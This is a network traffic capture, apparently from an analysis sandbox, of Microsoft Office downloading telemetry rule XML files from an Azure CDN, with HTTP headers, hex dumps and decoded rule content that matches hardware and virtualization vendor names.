encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.4	49825	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:32 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:32 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: ea7a0cbc-701e-001e-589c-3ef5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230832Z-178bfbc474b7cbwqhC1NYC8z4n00000007zg00000000hv6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:32 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
74	192.168.2.4	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:33 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:34 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 4ad18980-501e-008c-067e-3bcd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230834Z-174c587ffdfmlsmvhC1TEBvyks00000006tg0000000070pp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:34 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
75	192.168.2.4	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:33 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:34 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: cff1b669-a01e-000d-0e43-3ed1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230834Z-15b8b599d882zv28hC1TEBdchn00000006g000000000b1ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:34 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.4	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:33 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:34 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 72250675-f01e-0071-7466-3f431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230834Z-178bfbc474b7cbwqhC1NYC8z4n00000007z000000000k01g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:34 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:34 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:34 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 6e54758c-301e-0020-321b-3d6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230834Z-178bfbc474b9xljthC1NYCtw940000000840000000002c8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:34 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:34 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:34 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:34 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: c700c3f3-301e-0000-760a-3deecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230834Z-15b8b599d88z9sc7hC1TEBkr4w00000006u0000000002pe5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:34 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:35 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:36 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 171aa64f-101e-005a-5b63-3b882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230836Z-178bfbc474bpnd5vhC1NYC4vr4000000080g00000000s8gc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:36 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:36 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:36 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:36 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 4fcdbc1c-b01e-0097-1969-3f4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230836Z-178bfbc474bfw4gbhC1NYCunf4000000083000000000fzdb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:36 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:36 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:36 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 07e1bf82-901e-0029-4cbf-3e274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230836Z-178bfbc474bpscmfhC1NYCfc2c00000006ug00000000015p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:36 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.4	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:36 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230836Z-15b8b599d88vp97chC1TEB5pzw00000006kg00000000arz6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.4	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:36 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:36 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 925146da-101e-0034-3f87-3b96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230836Z-174c587ffdftv9hphC1TEBm29w00000006dg00000000vpa9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 23:08:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.4	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 23:08:38 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 23:08:38 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 23:08:38 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 2727b5de-901e-005b-4cc1-3e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T230838Z-178bfbc474bxkclvhC1NYC69g400000008400000000068th x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
